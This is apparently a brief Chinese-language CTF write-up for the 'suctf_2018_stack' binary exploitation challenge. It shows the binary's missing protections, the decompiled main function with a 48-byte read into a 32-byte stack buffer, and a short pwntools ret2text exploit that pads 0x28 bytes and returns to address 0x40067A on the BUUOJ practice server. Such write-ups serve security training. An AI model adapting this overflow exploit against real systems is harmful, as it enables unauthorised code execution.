suctf_2018_stack

suctf_2018_stack

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

64位什么都没开，。。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts(" ____  _   _  ____ _____ _____ ");
  puts("/ ___|| | | |/ ___|_   _|  ___|");
  puts("\\___ \\| | | | |     | | | |_   ");
  puts(" ___) | |_| | |___  | | |  _|  ");
  puts("|____/ \\___/ \\____| |_| |_|    ");
  puts("                               ");
  puts("============================");
  return read(0, buf, 0x30uLL);
}

ret2text

from pwn import*
from Yapack import *

context(os='linux', arch='amd64',log_level='debug')
r,elf=rec("node4.buuoj.cn",29685,"./pwn",10)

pl=cyclic(0x28)+p64(0x40067A)
sl(pl)

#debug()
ia()

又水一篇(x